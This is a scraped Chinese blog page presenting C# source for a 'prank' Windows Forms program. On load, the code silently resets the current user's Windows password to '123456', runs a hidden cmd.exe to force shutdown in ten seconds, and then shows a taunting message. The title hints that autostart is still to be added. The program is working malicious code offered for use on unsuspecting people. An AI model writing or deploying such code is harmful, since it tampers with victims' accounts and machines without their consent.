恶搞小软件,目前还没加入开机启动 你懂的

来源:互联网 发布:新华商品交易所软件 编辑:程序博客网 时间:2024/05/18 12:37
using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Diagnostics;using System.DirectoryServices;using System.Drawing;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Windows.Forms;namespace WindowsFormsApplication1{    public partial class Form1 : Form    {        public Form1()        {            InitializeComponent();        }        private void button1_Click(object sender, EventArgs e)        {                    }        private void Form1_Load(object sender, EventArgs e)        {            string _Path = "WinNT://" + Environment.MachineName;            DirectoryEntry machine = new DirectoryEntry(_Path); //获得计算机实例            DirectoryEntry user = machine.Children.Find(System.Environment.UserName, "User"); //找得用户            if (user != null)            {                user.Invoke("SetPassword", "123456"); //用户密码                user.CommitChanges();            }            Process p = new Process();            p.StartInfo = new ProcessStartInfo("cmd.exe");            p.StartInfo.UseShellExecute = false;            p.StartInfo.RedirectStandardInput = true;            p.StartInfo.RedirectStandardOutput = true;            p.StartInfo.RedirectStandardError = true;            p.StartInfo.CreateNoWindow = true;            p.Start();            p.StandardInput.WriteLine("shutdown -s -t 10");            MessageBox.Show("密码:123456,记住,被骗了吧");        }    }}

原创粉丝点击